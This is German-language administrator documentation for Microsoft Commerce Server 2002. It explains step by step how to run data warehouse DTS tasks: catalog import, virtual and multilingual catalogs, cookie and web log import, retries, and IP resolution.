Empfohlene Vorgehensweisen für das Data Warehouse

Festlegen der in das Data Warehouse zu importierenden Daten

Workflow zum Ausführen von DTS-Tasks

Problembehandlung beim Data Warehouse-Importvorgang


Ausführen des DTS-Produktkatalogimport-Tasks

Mit dem DTS-Produktkatalogimport-Task können Sie Daten über die Produkte in Ihre Katalogdatenbank von Commerce Server importieren. Zu diesen Produktkatalogdaten zählen dimensionale Informationen über Katalogprodukte, z. B. Name, Beschreibung, Farbe und Größe. (Dieses Verfahren unterscheidet sich vom Importieren von Daten in das Produktkatalogsystem aus externen Quellen, wie z. B. Excel-Tabellen. Informationen zum Importieren von Katalogen finden Sie unter Importieren und Exportieren von Katalogen.)

Katalogdaten sind für bestimmte Berichte, beispielsweise Produktanalyse und Transaktionsanalyse, zur korrekten Anzeige erforderlich. Werden Katalogdaten nicht in das Data Warehouse importiert, sind Produkte in Berichten ausschließlich anhand ihrer SKU-Nummern (Stock Keeping Unit) zu identifizieren.

Mit dem DTS-Transaktionsdatenimport-Task können Sie Informationen darüber importieren, wie gut sich Produkte verkaufen und welche Mengen Ihre Kunden erwerben. Weitere Informationen finden Sie unter Ausführen des DTS-Transaktionsdatenimport-Tasks.

Hinweise

  • Informationen zum Importieren von Daten für virtuelle Kataloge finden Sie unter Importieren von Daten für virtuelle Kataloge.
  • Wenn Sie zum ersten Mal Katalogdaten in das Data Warehouse importieren, müssen Sie die Option Vollständiges Laden verwenden und einen vollständigen Import durchführen. Verwenden Sie nach dem Import von Katalogdaten die Option Inkrementelles Laden, um nur neue Daten, d. h. solche, die seit dem letzten Import von Katalogdaten erstellt wurden, zu importieren.
  • Wenn ein Data Warehouse mehrere Sites unterstützt, müssen die Namen der Kataloge, für die Sie Daten importieren, eindeutig sein.

    Wenn zwei Sites jeweils identische Katalognamen und Produkte haben, die Katalogeigenschaften und Produktdefinitionen jedoch unterschiedlich sind, werden die Daten des zuerst importierten Katalogs überschrieben, wenn die Daten des zweiten Katalogs importiert werden.

  • Erstellen Sie keine Katalogeigenschaften, die Sonderzeichen enthalten. Sonderzeichen führen dazu, dass der Produktkatalogdaten-Importtask fehlschlägt. Katalogeigenschaften dürfen beispielsweise die folgenden Zeichen nicht enthalten: '!', '"', '%', '&', '(', ')', '*', '+', ',', '-', '.', '/', ':', ';', '<', '=', '>', '?', '\\’, ']', '^', '`', '{', '|', '}', '~'. Außerdem dürfen sie keine Steuerzeichen enthalten: 0x00 /* NULL */, 0x01, 0x02, 0x03, 0x04, 0x05, 0x06, 0x07 /* , CONTROL-G <BEL> */, 0x08 /* CONTROL-H <BS> */, 0x09 /* CONTROL-I <HT> */, 0x0a /* CONTROL-J <LF> */, 0x0b /* CONTROL-K <VT> */, x0c /* CONTROL-J <FF> */, 0x0d /* CONTROL-M <PRS_CR> */, 0x0e /* , CONTROL-N <SO> */, 0x0f /* CONTROL-O <SI> */, 1x10, 0x11, 0x12 usw.
  • Verwenden Sie die folgenden Leistungsindikatoren für diesen DTS-Task:
    • CatImport: Gesamtanzahl importierter Kataloge
    • CatImport: Gesamtanzahl importierter Kategorien
    • CatImport: Gesamtanzahl importierter Produkte

So importieren Sie Katalogdaten für eine Site in Ihr Data Warehouse

So importieren Sie Katalogdaten für alle verknüpften Sites in Ihr Data Warehouse

So importieren Sie Katalogdaten für eine Site in Ihr Data Warehouse

  1. Führen Sie den DTS-Konfigurationssynchronisations-Task aus, um Ihre Sitekonfiguration mit dem Data Warehouse abzugleichen. Eine entsprechende Anleitung finden Sie unter Ausführen des DTS-Konfigurationssynchronisations-Tasks.
  2. Erweitern Sie nacheinander Microsoft SQL Server, SQL Server-Gruppe und den Server, auf dem das Data Warehouse installiert ist.
  3. Klicken Sie mit der rechten Maustaste auf Data Transformation Services, und klicken Sie dann auf Neues Paket.

    Wenn Sie ein vorhandenes Paket ändern, können Sie alternativ mit der rechten Maustaste auf Data Transformation Services klicken, dann auf Alle Aufgaben klicken und schließlich Paket öffnen auswählen. Klicken Sie im Dialogfeld Datei auswählen auf das Paket, das Sie ändern möchten, und klicken Sie dann auf Öffnen.

  4. Klicken Sie im Menü Task auf Import von Produktkatalogen (Commerce Server).
  5. Nehmen Sie im Dialogfeld Katalogimporteigenschaften die folgenden Einstellungen vor:
    Funktion | Aktion
    Beschreibung | Geben Sie eine Beschreibung des Importtasks ein.
    Vorgangsebene | Wählen Sie in der Dropdownliste die Option Siteebene aus.
    Sitename | Wählen Sie in der Dropdownliste die Site aus, die die zu importierenden Daten enthält.
    Inkrementelles Laden | Wählen Sie diese Option aus, um nur die seit dem vorangegangenen Import neu erstellten Katalogdaten zu importieren.
    Vollständiges Laden | Wählen Sie diese Option aus, um alle Katalogdaten zu importieren.
  6. Führen Sie im Bereich Eigenschaften für Wiederholungen folgende Schritte aus:
    Funktion | Aktion
    Anzahl der Wiederholungen | Geben Sie an, wie oft bei Verbindungsfehlern versucht werden soll, die Verbindung mit dem Data Warehouse wiederherzustellen. Die standardmäßige Anzahl der Wiederholungsversuche ist 10.
    Zeit zwischen Wiederholungen (Sek.) | Geben Sie an, wie lange der Task zwischen den Wiederholungen warten soll. Das standardmäßige Zeitintervall beträgt 30 Sekunden.
  7. Klicken Sie auf OK.

    Hinweis

    • Sie können zu einem Paket mehrere DTS-Tasks sowie Informationen zu Reihenfolge und Workflow hinzufügen und dann alle Tasks im Paket ausführen.
  8. Klicken Sie im Menü Paket auf Ausführen.

    Das Dialogfeld Paket wird ausgeführt, in dem Sie über den Status des Importvorgangs informiert werden, wird angezeigt. Nach Abschluss des Importvorgangs wird im Dialogfeld Paketausführungsergebnisse die Meldung angezeigt, dass der Vorgang erfolgreich abgeschlossen wurde.

  9. Klicken Sie auf OK und anschließend auf Fertig.

    Die Katalogdaten werden in das Data Warehouse importiert.

  10. Führen Sie den DTS-Berichtsvorbereitungstask aus, um die importierten Daten in die angegebenen OLAP-Cubes einzuordnen. Anweisungen zur Ausführung des Berichtsvorbereitungstasks finden Sie unter Ausführen des DTS-Berichtsvorbereitungstasks.

Die Daten stehen jetzt für Berichte zur Verfügung.

So importieren Sie Katalogdaten für alle verknüpften Sites in Ihr Data Warehouse

  1. Führen Sie den DTS-Konfigurationssynchronisations-Task aus, um Ihre Sitekonfiguration mit dem Data Warehouse abzugleichen. Eine entsprechende Anleitung finden Sie unter Ausführen des DTS-Konfigurationssynchronisations-Tasks.
  2. Erweitern Sie nacheinander Microsoft SQL Server, SQL Server-Gruppe und den Server, auf dem das Data Warehouse installiert ist.
  3. Klicken Sie mit der rechten Maustaste auf Data Transformation Services, und klicken Sie dann auf Neues Paket.

    Wenn Sie ein vorhandenes Paket ändern, können Sie alternativ mit der rechten Maustaste auf Data Transformation Services klicken, dann auf Alle Aufgaben klicken und schließlich Paket öffnen auswählen. Klicken Sie im Dialogfeld Datei auswählen auf das Paket, das Sie ändern möchten, und klicken Sie dann auf Öffnen.

  4. Klicken Sie im Menü Task auf Import von Produktkatalogen (Commerce Server).
  5. Nehmen Sie im Dialogfeld Katalogimporteigenschaften die folgenden Einstellungen vor:
    Funktion | Aktion
    Beschreibung | Geben Sie eine Beschreibung des Importtasks ein.
    Vorgangsebene | Wählen Sie in der Dropdownliste die Option Data Warehouse-Ebene aus.
    Data Warehouse-Name | Wählen Sie in der Dropdownliste das Data Warehouse, das mit den Sites verknüpft ist, für die Sie Katalogdaten importieren möchten.
    Inkrementelles Laden | Wählen Sie diese Option aus, um nur die seit dem vorangegangenen Import neu erstellten Katalogdaten zu importieren.
    Vollständiges Laden | Wählen Sie diese Option aus, um alle Katalogdaten zu importieren.
  6. Führen Sie im Bereich Eigenschaften für Wiederholungen folgende Schritte aus:
    Funktion | Aktion
    Anzahl der Wiederholungen | Geben Sie an, wie oft bei Verbindungsfehlern versucht werden soll, die Verbindung mit dem Data Warehouse wiederherzustellen. Die standardmäßige Anzahl der Wiederholungsversuche ist 10.
    Zeit zwischen Wiederholungen (Sek.) | Geben Sie an, wie lange der Task zwischen den Wiederholungen warten soll. Das standardmäßige Zeitintervall beträgt 30 Sekunden.
  7. Klicken Sie auf OK.

    Hinweis

    • Sie können zu einem Paket mehrere DTS-Tasks sowie Informationen zu Reihenfolge und Workflow hinzufügen und dann alle Tasks im Paket ausführen.
  8. Klicken Sie im Menü Paket auf Ausführen.

    Das Dialogfeld Paket wird ausgeführt, in dem Sie über den Status des Importvorgangs informiert werden, wird angezeigt. Nach Abschluss des Importvorgangs wird im Dialogfeld Paketausführungsergebnisse die Meldung angezeigt, dass der Vorgang erfolgreich abgeschlossen wurde.

  9. Klicken Sie auf OK und anschließend auf Fertig.

    Die Katalogdaten werden in das Data Warehouse importiert.

  10. Führen Sie den DTS-Berichtsvorbereitungstask aus, um die importierten Daten in die angegebenen OLAP-Cubes einzuordnen. Anweisungen zur Ausführung des Berichtsvorbereitungstasks finden Sie unter Ausführen des DTS-Berichtsvorbereitungstasks.

Die Daten stehen jetzt für Berichte zur Verfügung.

Siehe auch

Importieren von Daten für virtuelle Kataloge

Ausführen des DTS-Produktkatalogimport-Tasks

ETL-Prozess für den DTS-Produktkatalogimport-Task

Erstellen eines Skripts für den DTS-Produktkatalogimport-Task

Empfohlene Vorgehensweisen für das Data Warehouse

Festlegen der in das Data Warehouse zu importierenden Daten

Workflow zum Ausführen von DTS-Tasks

Problembehandlung beim Data Warehouse-Importvorgang


Importieren von Daten für virtuelle Kataloge

Ein virtueller Katalog verweist auf die Produktdaten in einem oder mehreren Basiskatalogen. Wenn Sie ein Produkt zu einem Basiskatalog hinzufügen, wird dieses Produkt, je nach den definierten Einschlussregeln, unter Umständen auch im zugeordneten virtuellen Katalog angezeigt. Die Produkte sind in der Katalogdatenbank nur einmal repräsentiert, unabhängig davon, in wie vielen virtuellen Katalogen sie auftauchen.

Wenn Sie den Produktkatalogdaten-Importtask ausführen, um Daten aus einem virtuellen Katalog in das Data Warehouse zu importieren, werden ebenfalls Daten aus den verknüpften Basiskatalogen importiert. Beispiel: Der Basiskatalog "CDs" soll in den virtuellen Katalog "Frühjahrsangebote" aufgenommen werden. Sie führen daher den Produktkatalogdaten-Importtask aus, um die CD-Daten in den Katalog "Frühjahrsangebote" im Data Warehouse zu importieren.

Sie können den CD-Katalog aus dem virtuellen Frühjahrskatalog entfernen und dann einen anderen Basiskatalog mit der Bezeichnung "Bücher" zum Katalog "Frühjahrsangebote" hinzufügen. Wenn Sie den Importtask ausführen, enthält der Frühjahrskatalog im Data Warehouse Daten zu CDs und Büchern.

Ausführen vollständiger Importvorgänge

Um Produkte aus virtuellen Katalogen in das Data Warehouse zu importieren, muss ein vollständiger Importvorgang durchgeführt werden. Wenn ein Produkt oder eine Kategorie in einem Basiskatalog zu einem virtuellen Katalog hinzugefügt wird, verfügt dieses Produkt oder diese Kategorie über einen kleineren Timestamp als die übrigen Produkte und Kategorien im virtuellen Katalog. Daher kann die Option für den inkrementellen Import nicht verwendet werden.

Siehe auch

Ausführen des DTS-Produktkatalogimport-Tasks

Problembehandlung beim Data Warehouse-Importvorgang


Importieren von Daten mit mehreren Sprachen und Währungen

Das Data Warehouse von Commerce Server unterstützt den Import von Unicode-Zeichen. Sie können mit dem Data Warehouse Produktkatalog- und Transaktionsdaten in beliebigen Sprachen importieren. Das Data Warehouse-Schema von Commerce Server unterstützt ferner den Import mehrerer Währungen durch eine getrennte Speicherung des Währungstyps und des Betrags.

Festlegen der Importsprache

Es besteht keine Notwendigkeit, die Importsprache festzulegen. Das Data Warehouse importiert Mehrbyte-Unicode-Zeichen und unterscheidet nicht zwischen den Sprachen. Angenommen, Sie erstellen Ihre Site in Deutsch. Ein Benutzer gibt seine Rechnungsdaten in japanischen Zeichen ein. Die Bestelldaten dieses Benutzers werden dann genauso gehandhabt wie die Bestelldaten, die ein deutscher Benutzer eingibt.

Tipps für das Importieren von Daten mit mehreren Sprachen und Währungen

Festlegen der Sprache und Währung eines Katalogs


Tipps für das Importieren von Daten mit mehreren Sprachen und Währungen

  • Ändern Sie nicht die Basiswährung nach dem Import von Daten.
Das Data Warehouse rechnet keine Währungen um. Zuvor importierte Finanzdaten werden nicht in die neue Basiswährung umgerechnet. Stattdessen werden im Data Warehouse die ursprünglichen Beträge (nun allerdings in der falschen Währung) beibehalten.
  • Importieren Sie Katalogdaten nicht in einer zweiten Sprache.
Die zweite Version der für einen Katalog importierten Daten überschreiben die vorhandenen Daten des betreffenden Katalogs. Das Data Warehouse unterstützt nur eine Version von Daten für jeden Katalog.


Festlegen der Sprache und Währung eines Katalogs

Mithilfe des Moduls "Katalog-Editor" von Commerce Server Business Desk können Sie bis zu 10 Sprachen für einen einzelnen Katalog oder virtuellen Katalog festlegen.

Hinweis

  • Wenn Sie die Berichtssprache ändern, wird sie verwendet, sobald Ihr Systemadministrator den nächsten Import von Katalogdaten in das Data Warehouse vornimmt. Das kann zur Folge haben, dass einige Daten im Data Warehouse in einer Sprache und andere in einer anderen Sprache vorliegen.

    Der Systemadministrator muss mit dem DTS-Task (Data Transformation Services) für den Import von Produktkatalogdaten einen vollständigen Import durchführen, damit alle Daten in derselben Sprache vorliegen. (Bei einem vollständigen Import werden die Eigenschaften des Produkts aktualisiert, da die Produktschlüssel in allen Sprachen identisch sind.)

So lokalisieren Sie einen Katalog

  1. Klicken Sie in Commerce Server Business Desk im Modul "Kataloge" auf Katalog-Editor.
  2. Wählen Sie im Bildschirm Kataloge den zu bearbeitenden Katalog aus, und klicken Sie anschließend auf der Symbolleiste auf Eigenschaften bearbeiten.
  3. Der Bildschirm Katalogeigenschaften – Katalogname wird angezeigt. Sie können jede beliebige Eigenschaft in diesem Bildschirm ändern, die nicht durch Commerce Server zugewiesen ist.
    Funktion | Aktion
    Währung | Wählen Sie in der Dropdownliste eine Währung für den Katalog. USD ist vorgegeben.
    Gewichtseinheit | Zeigt die Gewichtseinheit für die Produkte in diesem Katalog an. Dieser Wert wird während der Commerce Server-Konfiguration vom Systemadministrator festgelegt. Wenden Sie sich an Ihren Systemadministrator, wenn dieser Wert geändert werden muss.
  4. Führen Sie im Bereich Katalogsprachen folgende Schritte aus:
    Funktion | Aktion
    Hinzufügen Wählen Sie die Sprachen, die der Katalog unterstützen soll.

    Ein Katalog kann bis zu zehn Sprachen unterstützen. Sie können fünf Sprachen angeben, den Katalog dann speichern und anschließend fünf weitere angeben.
    Entfernen | Entfernen Sie die Sprachen, die der Katalog nicht unterstützt. Wenn Sie alle Sprachen entfernen, unterstützt der Katalog die Standardsprache, d. h. die Sprache des Microsoft Windows-Betriebssystems auf Ihrem Business Desk-Clientcomputer.
    Standardsprache Wählen Sie in der Dropdownliste die Standardsprache für Ihren Katalog.

    Wenn Sie keine Standardsprache angeben, verwendet Commerce Server dieselbe Sprache wie das Microsoft Windows-Betriebssystem auf dem Business Desk-Clientcomputer.
    Berichtssprache Wählen Sie in der Dropdownliste die Sprache, die für die im Data Warehouse zu speichernden Eigenschaften verwendet werden soll.

    Diese Sprache wird dann für Berichte und Analysen verwendet.

    Wenn Sie die Berichtssprache ändern, nachdem die Site freigeschaltet wurde, können Berichtsdaten in zwei Sprachen angezeigt werden (je nach der Zeitdauer, die von diesem Bericht abgedeckt wird).

    Ihr Systemadministrator muss mit dem DTS-Task für den Import von Produktkatalogdaten einen vollständigen Import durchführen, damit alle Daten in derselben Sprache vorliegen. (Bei einem vollständigen Import werden die Eigenschaften des Produkts aktualisiert, da die Produktschlüssel in allen Sprachen identisch sind.)
  5. Legen Sie den angezeigten Namen für den Katalog fest, indem Sie im Feld Sprache eine Sprache wählen und dann auf Bearbeiten klicken.
  6. Geben Sie im Feld Angezeigter Name den Namen für den Katalog in der gewählten Sprache ein. Dieser Katalogname wird dann in Ihrer Website angezeigt.
  7. Klicken Sie auf der Symbolleiste auf Speichern und zurück, um die Änderungen zu speichern und zum Bildschirm Kataloge zurückzukehren.
  8. Klicken Sie auf der Symbolleiste auf Katalog veröffentlichen, um das neue Produkt in der Website zu veröffentlichen.

Der aktualisierte Katalog wird in der Website veröffentlicht.


Importieren von Cookies

Wenn ein Benutzer Ihre Site besucht, wird das betreffende Cookie in den Webprotokolldateien gespeichert. Der DTS-Webprotokollimport-Task von Commerce Server liest die Cookiedaten und entschlüsselt die Benutzer-ID, wodurch die Cookiedaten den Profildaten zugeordnet werden können. Somit können Sie die Benutzerdaten analysieren.

Hinweis

  • Wenn Sie für Cookies Verschlüsselung mit dynamischen Schlüsseln verwenden, müssen Sie die IIS-Protokolle vor den Profildaten importieren. Ansonsten können die DTS-Tasks von Commerce Server die Authentifizierungstickets in den Protokollen nicht entschlüsseln.

Beim Importieren der Daten werden diese auf die Benutzer-ID analysiert. Jede Instanz der Benutzer-ID wird in eine Zeile im Data Warehouse geschrieben. Die Benutzer-ID stellt den Primärschlüssel der Zeile dar, sodass bei der Analyse der Benutzerdaten der Zugriff auf die Daten über die Benutzer-ID erfolgt.

Das Geschäftsanalysesystem identifiziert Benutzer, indem im erweiterten W3C-Protokoll nach den folgenden Einträgen (entsprechend der aufgeführten Rangfolge) gesucht wird:

  • Cookie
  • Client-IP + Zeichenfolge für Client-Browser
  • Nur Client-IP

Durch den DTS-Berichtsvorbereitungstask wird der Cube "Käuferbesuche" mit Daten aufgefüllt. Der Cube "Käuferbesuche" setzt die Benutzerkaufaktivität in Beziehung zur Websurfaktivität. Dazu werden die IDs der registrierten Benutzer der Transaktionen und die IDs der registrierten Benutzer für das Websurfverhalten genutzt. Damit diese Beziehung zwischen den IDs der registrierten Benutzer hergestellt werden kann, müssen in Ihrer Site Cookies verwendet werden.

Standardmäßig sind die Lösungssites so konfiguriert, dass Cookies verschlüsselt werden. Der DTS-Webserverprotokollimport-Task ruft intern eine Authentifizierungsfunktion auf, die Cookies entschlüsselt und die richtige Benutzer-ID zurückgibt. Wenn Sie die Cookies nicht verschlüsseln, gibt die Funktion die Benutzer-ID nicht ordnungsgemäß zurück, weil die Cookies URL-codiert sind.

Nachfolgend wird beschrieben, wie Cookies importiert werden, wenn Sie für die Site den AutoCookie-Modus aktivieren bzw. deaktivieren.

  • AutoCookie-Modus aktiviert. Nach Ausführung des DTS-Transaktionsdatenimport-Tasks werden die Benutzertransaktionen in der Tabelle Bestellgruppe (und einigen anderen Tabellen) im Data Warehouse gespeichert. Der Bestellgruppeneintrag wird in eine registrierte Benutzer-ID umgewandelt. Webprotokollimporte der verknüpften Protokolldatei, in der die Daten zum Surfverhalten der Benutzer enthalten sind, können nur dann in Beziehung zur Transaktionsaktivität gesetzt werden, wenn der Cookiemodus aktiviert wurde.

    Bei Aktivierung des Cookiemodus in Ihrer Site wird ein Cookie mit der Kennung für einen registrierten Benutzer in das Cookiefeld der Protokolldatei geschrieben. Durch den Import der Webprotokolldateien in das Data Warehouse kann der DTS-Berichtsvorbereitungstask das Surfverhalten mit der Transaktionsaktivität verknüpfen.

  • AutoCookie-Modus deaktiviert. In diesem Szenario wird die ID eines registrierten Benutzers als Teil der Abfragezeichenfolge in die Webprotokolldatei geschrieben, der DTS-Webprotokollimport-Task kann diese Daten jedoch nicht als ID eines registrierten Benutzers speichern.

    Die Ansicht VisitsByUser bleibt leer, da die IDs der registrierten Benutzer nicht in den entsprechenden Feldern der Tabelle VisitInfo enthalten sind, die während des Webserverprotokollimports ausgefüllt werden.

  • Modus ohne Cookies (Active Directory). In diesem Szenario sind keine Cookies vorhanden.


Wiederholen eines DTS-Tasks

Beim Konfigurieren eines Commerce Server-DTS-Tasks legen Sie die Zahl der Wiederholungsversuche und den dazwischen liegenden Zeitraum fest. Durch diese Eigenschaften für Wiederholungen wird gesteuert, wie das Data Warehouse-Speichermodul mit SQL Server interagiert, jedoch nicht, wie die DTS-Tasks mit dem Data Warehouse-Speichermodul interagieren.

DTS-Tasks, die über die DTS-Konsole gestartet werden, können eine getrennte SQL Server-Verbindung wieder aufnehmen (beispielsweise nach einem Ausfall von SQL Server). Beim Verlust einer Verbindung werden durch OLE DB Provider für Commerce Server Meldungen an das Anwendungsereignisprotokoll geschrieben, die besagen, dass die Wiederaufnahme der Verbindung zum SQL Server-Computer versucht wird. Wenn der DTS-Task innerhalb des durch die Wiederholungsparameter gesetzten Zeitfensters die Verbindung wiederherstellen kann, wird der Task fortgesetzt. Wenn für den Webserverprotokollimport-Task bei der Wiederherstellung der Spalte Status in der Tabelle TaskHistory der Data Warehouse-Datenbank 1 angezeigt wird, wurde der Importvorgang erfolgreich abgeschlossen.

Hinweis

  • Fällt während der Ausführung des DTS-Profildatenimport-Tasks der Profilserver aus, müssen Sie den DTS-Profildatenimport-Task für das letzte Inkrement im Modus Vollständiges Laden erneut ausführen, indem Sie das Startdatum des Imports auf das Inkrement vor dem Failover setzen.

Import von Webserverprotokollen

Wenn der SQL Server-Computer den Vorgang unterbricht, nachdem die maximale Anzahl der Wiederholungsversuche des DTS-Webserverprotokollimport-Tasks erreicht ist, kann es mehrere Minuten dauern, bis die entsprechende Fehlermeldung angezeigt wird. Dafür können zwei Ursachen verantwortlich sein:

  • Eine Protokolldatei kann durch verschiedene Threads des Rückschlussmoduls verarbeitet werden. Jeder Rückschlussmodul-Thread schreibt schließlich Daten in das Data Warehouse-Speichermodul (ruft jedoch den OLE DB Provider für Commerce Server auf). Wenn durch einen Thread SetColumns aufgerufen wird, überprüft OLE DB Provider für Commerce Server zunächst, ob in dieser Sitzung Fehler aufgetreten sind. Wenn dies der Fall ist, wird der Schreibaufruf abgebrochen, und der Rückschlussmodul-Thread setzt ein Flag, das durch den DTS-Task überprüft wird.

    Wenn die Protokolldatei durch eine große Anzahl von Threads verarbeitet wird, kann dieser Vorgang einige Minuten in Anspruch nehmen.

  • Wenn der Webserverprotokollimport-Task nicht auf dem SQL Server-Computer, sondern einem anderen Computer ausgeführt wird, kann die SQL-Übertragung auch Auswirkungen auf die Verzögerungszeit haben.

Hinweis

  • Falls der Data Warehouse-Server während des DTS-Webserverprotokollimport-Tasks innerhalb kurzer Zeit mehrfach ausfällt (z. B. vier oder fünf Mal), kann es zu Datenverlusten kommen. Zur Gewährleistung der Datenintegrität müssen Sie die für die Webprotokolldateien importierten Daten löschen und den DTS-Webserverprotokollimport-Task dann manuell neu ausführen. Informationen zum Löschen von Daten aus Webprotokolldateien finden Sie unter Ausführen des DTS-Datenlöschungstasks.

Siehe auch

Problembehandlung beim Data Warehouse-Importvorgang

Neustarten, Ignorieren oder Löschen eines fehlgeschlagenen Webserverprotokollimport-Tasks

Empfohlene Vorgehensweisen für das Data Warehouse

Erstellen eines Skripts für den DTS-Webserverprotokollimport-Task

Konfigurieren des DTS-Webserverprotokollimport-Tasks

ETL-Prozess für den DTS-Webserverprotokollimport-Task

Ausführen des DTS-Webserverprotokollimport-Tasks

Ausführen des DTS-Webserverprotokollimport-Tasks für eine große Site


Ausführen des DTS-IP-Auflösungstasks

Den IP-Auflösungstask verwenden Sie in regelmäßigen Abständen zum Auflösen von IP-Adressen (Internet Protocol). Auf diese Weise wird sichergestellt, dass das Data Warehouse möglichst aussagekräftige Daten enthält.

Wenn Sie einen IP-Auflösungstask starten, wird bei dem Versuch, die neuen IP-Adressen aufzulösen, zunächst ein Cache, in dem sich bereits aufgelöste IP-Adressen befinden, durchsucht. Wenn auch nach Überprüfung des Caches noch nicht alle IP-Adressen aufgelöst werden konnten, folgt eine Überprüfung auf dem DNS-Server (Domain Name System). Die Erfolgsrate der IP-Auflösung liegt in der Regel bei 60 bis 75 %. IP-Adressen werden in einer Batchdatei aufgelöst, wodurch die Verbindung zum DNS-Server optimiert wird.

Wenn Sie einen IP-Auflösungstask starten, werden standardmäßig nur IP-Adressen ohne Domänennamen aufgelöst. Möchten Sie jedoch alle möglichen Änderungen von Domänennamen aufzeichnen, können Sie wahlweise auch alle IP-Adressen auflösen. Bei Auswahl dieser Option werden selbst Domänennamen aktualisiert, die sich bereits im Data Warehouse befinden.

Hinweise

  • Wenn Sie zum ersten Mal IP-Adressen im Data Warehouse auflösen, müssen Sie die Option Vollständige Suche verwenden. Nach der vollständigen Suche können Sie dann auch die inkrementelle IP-Auflösung verwenden, um nur nach neuen IP-Adressen zu suchen.
  • Wenn die Client-IP-Adressen in eine einzelne IP-Adresse umgewandelt werden, verwenden Sie beim Import der Webserverprotokolle entweder Cookies oder Benutzernamen für die abgeleiteten Benutzer.

    Wenn Besucher Ihrer Site keine Cookies oder Benutzernamen zur Ableitung verwenden (weil diese nicht definiert sind oder die Benutzer sie absichtlich nicht verwenden), kann Commerce Server die Benutzernamen anhand der Client-IP-Adresse und des Browsertyps erkennen. Dieses Verfahren ist nicht sehr genau: Wenn die Client-IP-Adressen in eine einzelne IP-Adresse umgewandelt werden (z. B. weil alle Benutzer denselben Browser verwenden), werden mehrere Benutzer in einer IP-Adresse gebündelt. Durch den IP-Auflösungstask wird dann nur nach einer IP-Adresse gesucht. Sie erhalten somit keine korrekten Domäneninformationen über alle Benutzer, die diese Site besuchen.

  • Verwenden Sie die folgenden Leistungsindikatoren für diesen DTS-Task:
    • Aufgelöste IPs gesamt
    • Nicht aufgelöste IPs gesamt

So lösen Sie IP-Adressen auf

  1. Erweitern Sie nacheinander Microsoft SQL Server, SQL Server-Gruppe und den Server, auf dem das Data Warehouse installiert ist.
  2. Klicken Sie mit der rechten Maustaste auf Data Transformation Services, und klicken Sie dann auf Neues Paket.

    Wenn Sie ein vorhandenes Paket ändern, können Sie alternativ mit der rechten Maustaste auf Data Transformation Services klicken, dann auf Alle Aufgaben klicken und schließlich Paket öffnen auswählen. Klicken Sie im Dialogfeld Datei auswählen auf das Paket, das Sie ändern möchten, und klicken Sie dann auf Öffnen.

  3. Klicken Sie im Menü Task auf IP-Auflösung (Commerce Server).
  4. Nehmen Sie im Dialogfeld Eigenschaften der IP-Auflösung die folgenden Einstellungen vor:
    Funktion | Aktion
    Beschreibung | Geben Sie eine Beschreibung des Tasks ein. Für die Beschreibung sind maximal 255 Zeichen zulässig.
    Data Warehouse | Wählen Sie in der Dropdownliste das Data Warehouse aus, das die Daten enthält, für die Sie eine IP-Auflösung durchführen möchten.
  5. Führen Sie im Bereich IP-Adressen auflösen folgende Schritte aus:
    Funktion | Aktion
    Inkrementelle Suche | Wählen Sie diese Option aus, um nur bislang noch nicht aufgelöste IP-Adressen sowie jene aufzulösen, bei denen der Zeitpunkt der letzten Änderung das im Feld Tage der Zwischenspeicherung des Ergebnisses angegebene Zeitlimit überschreiten.
    Vollständige Suche | Wählen Sie diese Option aus, um alle IP-Adressen aufzulösen.
  6. Führen Sie im Bereich Optionen folgende Schritte aus:
    Funktion | Aktion
    Lokaler Domänenname | Geben Sie den lokalen Domänennamen des Domänennamenservers (DNS) ein, der primär zur Auflösung von IP-Adressen eingesetzt wird.
    Tage der Zwischenspeicherung des Ergebnisses | Geben Sie an, wie viele Tage lang aufgelöste IP-Adressen zwischengespeichert werden sollen. Standard sind 30 Tage. Wenn Sie den Standardwert erhöhen, können IP-Adressen rascher aufgelöst werden. Dabei werden aber möglicherweise Änderungen an Domänennamen nicht erfasst.
    Sekunden bis zum Timeout | Geben Sie die Zeit in Sekunden an, während derer der DNS-Server durchsucht wird, bevor eine IP-Adresse als nicht aufgelöst gekennzeichnet wird. Der Standardwert lautet 10 Sekunden. Wenn Sie einen höheren Wert als Standard wählen, werden zwar mehr IP-Adressen aufgelöst, jedoch dauert die IP-Auflösung länger.
    Im Stapel zu behaltende Suchanforderungen | Geben Sie die Anzahl der Suchanforderungen ein. Hiermit legen Sie fest, wie viele IP-Adressen in einem Stapel zum DNS-Server übertragen werden. Der Standardwert lautet 200, möglich sind jedoch zwischen 10 und 99.999 Anforderungen.
  7. Nehmen Sie im Abschnitt Eigenschaften für Wiederholungen die folgenden Einstellungen vor:
    Funktion | Aktion
    Anzahl der Wiederholungen | Geben Sie an, wie oft der Task bei Verbindungsfehlern versuchen soll, die Verbindung zum Data Warehouse wiederherzustellen. Die standardmäßige Anzahl der Wiederholungsversuche ist 10.
    Zeit zwischen Wiederholungen (Sek.) | Geben Sie an, wie viele Sekunden der Task zwischen den Wiederholungen warten soll. Das standardmäßige Zeitintervall beträgt 30 Sekunden.
  8. Klicken Sie auf OK.
  9. Klicken Sie im Menü Paket auf Ausführen.

    Das Dialogfeld Paket wird ausgeführt, in dem Sie über den Status des Importvorgangs informiert werden, wird angezeigt. Nach Abschluss des Importvorgangs wird im Dialogfeld Paketausführungsergebnisse die Meldung angezeigt, dass der Vorgang erfolgreich abgeschlossen wurde.

  10. Klicken Sie auf OK und anschließend auf Fertig.

    Die IP-Auflösung wird ausgeführt.

  11. Führen Sie den DTS-Berichtsvorbereitungstask aus, um die importierten Daten in die angegebenen OLAP-Cubes einzuordnen. Anweisungen zur Ausführung des Berichtsvorbereitungstasks finden Sie unter Ausführen des DTS-Berichtsvorbereitungstasks.

Die Daten stehen jetzt für Berichte zur Verfügung.

Siehe auch

ETL-Prozess für den DTS-IP-Auflösungstask

Empfohlene Vorgehensweisen für das Data Warehouse

Workflow zum Ausführen von DTS-Tasks

Festlegen der Benutzer- und Besuchsrückschlüsse für Webprotokolldateien.

Erstellen eines Skripts für den DTS-IP-Auflösungstask

Commerce Server-Leistungsindikatoren

Problembehandlung beim Data Warehouse-Importvorgang


Löschen von Daten aus dem DataWarehouse

Feedback zu dieser Seite senden Commerce Server 2002

Löschen von Daten aus dem Data Warehouse

Um zu verhindern, dass kein Speicherplatz mehr für die Data Warehouse-Datenbank verfügbar ist, ist es wichtig, regelmäßig Daten aus dem Data Warehouse zu löschen. Wenn kein Speicherplatz mehr für die Datenbank vorhanden ist, führt das zu Leistungs- und Datenverlust. Sie können zwar die Data Warehouse-Datenbank automatisch vergrößern lassen, jedoch verringert diese Option mit der Zeit die Leistung, bis schließlich die Größe der Datenbank die physischen Grenzen des verfügbaren Speichers erreicht.

